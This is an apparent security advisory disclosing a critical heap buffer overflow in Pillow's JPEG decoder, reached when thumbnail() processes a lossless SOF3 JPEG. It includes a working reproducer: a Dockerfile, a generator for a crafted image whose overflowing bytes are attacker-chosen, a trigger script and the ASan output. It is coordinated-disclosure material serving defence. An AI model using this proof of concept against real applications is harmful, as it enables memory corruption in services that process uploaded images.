PT-2026-120305 · Pypi · Pillow

Published

2026-10-20

·

Updated

2026-10-20

CVSS v4.0

9.2

Critical

VectorAV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self. size and the tile extents to match, so setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale num/scale denom, calls jpeg start decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output width, cinfo.output height or cinfo.out color components against state->xsize, state->ysize and state->bits.
libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg read scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.
The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):
  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg start decompress() at :240, jpeg read scanlines() at :252, with no geometry check between them.
  • src/decode.c:222-231 — setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks size, the tile extents and decoderconfig with no notion of lossless coding.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
c
// src/libImaging/JpegDecode.c
      if (context->scale > 1) {
        context->cinfo.scale num = 1;
        context->cinfo.scale denom = context->scale;
      }
      ...
    case 2:
      if (!jpeg start decompress(&context->cinfo)) {
        break;
      }
      state->state++;
      /* fall through */
    case 3:
      ok = 1;
      while (state->y < state->ysize) {
        ok = jpeg read scanlines(&context->cinfo, &state->buffer, 1);
Because state->ysize (ceil(H/s)) can never equal libjpeg's output height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.
Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.
Threshold: draft() must select s >= 2, i.e. W // requested w >= 2 and H // requested h >= 2. For thumbnail((256,256)) with the default reducing gap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make sof3.py and trigger.py in an empty directory, then:
bash
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
make sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile

dockerfile
FROM ubuntu:24.04
ENV DEBIAN FRONTEND=noninteractive
ARG TARGET COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG VERSION=20
ARG LIBJPEG TURBO TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends 
    ca-certificates git make cmake nasm pkg-config libc6-dev gcc 
    wget gnupg lsb-release software-properties-common 
    python3 python3-dev python3-pip python3-venv zlib1g-dev 
  && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG VERSION} 
  && apt-get install -y --no-install-recommends clang-${CLANG VERSION} llvm-${CLANG VERSION} libclang-rt-${CLANG VERSION}-dev 
  && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG TURBO TAG} 
  && cmake -B /build/ljt -S . -DCMAKE BUILD TYPE=None 
    -DCMAKE C COMPILER=clang-20 
    -DCMAKE C FLAGS="$CFLAGS" 
    -DCMAKE EXE LINKER FLAGS="$LDFLAGS" 
    -DCMAKE SHARED LINKER FLAGS="$LDFLAGS" 
    -DCMAKE INSTALL PREFIX=/opt/ljt -DWITH JPEG8=0 -DENABLE STATIC=0 
  && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET COMMIT}

ENV JPEG ROOT=/opt/ljt
ENV LD LIBRARY PATH=/opt/ljt/lib
RUN python3 -m venv /venv 
  && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 
  && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" 
    /venv/bin/pip install --no-build-isolation --no-deps . 
  && ln -sf "$(clang-20 -print-file-name=libclang rt.asan-x86 64.so)" /opt/libasan.so 
  && LD PRELOAD=/opt/libasan.so ASAN OPTIONS=detect leaks=0 
    /venv/bin/python3 -c "from PIL import Image, features; print(Image. version , features.version('jpg'))"

COPY make sof3.py /tmp/make sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make sof3.py /tmp/sof3 gray 1200x1100.jpg

ENV ASAN OPTIONS=detect leaks=0:abort on error=1:symbolize=1
ENV ASAN SYMBOLIZER PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

make sof3.py

python
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer


class BitWriter:
  def  init (self):
    self.out = bytearray()
    self.acc = 0
    self.n = 0

  def put(self, value, nbits):
    for i in range(nbits - 1, -1, -1):
      self.acc = (self.acc << 1) | ((value >> i) & 1)
      self.n += 1
      if self.n == 8:
        self.out.append(self.acc)
        if self.acc == 0xFF:
          self.out.append(0x00) # byte stuffing
        self.acc = 0
        self.n = 0

  def flush(self):
    while self.n:
      self.put(1, 1)
    return bytes(self.out)


# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}


def category(d):
  if d == 0:
    return 0
  return abs(d).bit length()


def build pixels():
  rows = []
  for y in range(H):
    row = bytearray()
    while len(row) < W:
      row += MARKER
    rows.append(bytes(row[:W]))
  return rows


def main(path):
  rows = build pixels()
  bw = BitWriter()
  prev = None
  for y in range(H):
    row = rows[y]
    for x in range(W):
      s = row[x]
      if y == 0 and x == 0:
        pred = 1 << 7     # 2^(P-1-Pt)
      elif x == 0:
        pred = prev[0]     # Rb for first sample of a line
      else:
        pred = row[x - 1]   # Ra, predictor 1
      d = (s - pred) & 0xFFFF
      if d >= 0x8000:
        d -= 0x10000
      ssss = category(d)
      code, length = CODES[ssss]
      bw.put(code, length)
      if ssss:
        v = d if d > 0 else d + (1 << ssss) - 1
        bw.put(v & ((1 << ssss) - 1), ssss)
    prev = row
  entropy = bw.flush()

  out = bytearray()
  out += b"xffxd8"                    # SOI
  # DHT: class 0 (DC/lossless), table id 0
  dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
  out += b"xffxc4" + struct.pack(">H", len(dht) + 2) + dht
  # SOF3: lossless, Huffman, sequential
  sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
  out += b"xffxc3" + struct.pack(">H", len(sof) + 2) + sof
  # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
  sos = bytes([1, 1, 0x00, 1, 0, 0])
  out += b"xffxda" + struct.pack(">H", len(sos) + 2) + sos
  out += entropy
  out += b"xffxd9"                    # EOI
  with open(path, "wb") as f:
    f.write(bytes(out))
  print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")


if  name  == " main ":
  main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3 gray 1200x1100.jpg")

trigger.py

python
import sys
from PIL import Image, features
print("Pillow", Image. version , "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3 gray 1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
  im.thumbnail((256, 256))
  print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
  print("exception: %r" % (e,), flush=True)
Validated output:
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
  #0  asan memcpy
  #1 jcopy sample rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
  #2 sep upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
  #3 process data simple main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
  #4 jpeg read scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
  #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
  #6 decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
  #0 calloc
  #1 setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in  asan memcpy
Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.
control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report

Scope and caveats

  • Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.
  • Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
  • No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.
  • Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing gap=None), avoids the path in an application today.
  • Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERR ARITH NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR SOF UNSUPPORTED.

Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.
This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.
Credit goes to Claude (Anthropic) and Ada Logics.

Fix

Heap Based Buffer Overflow

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-8G5G-8VMR-9782

Affected Products

Pillow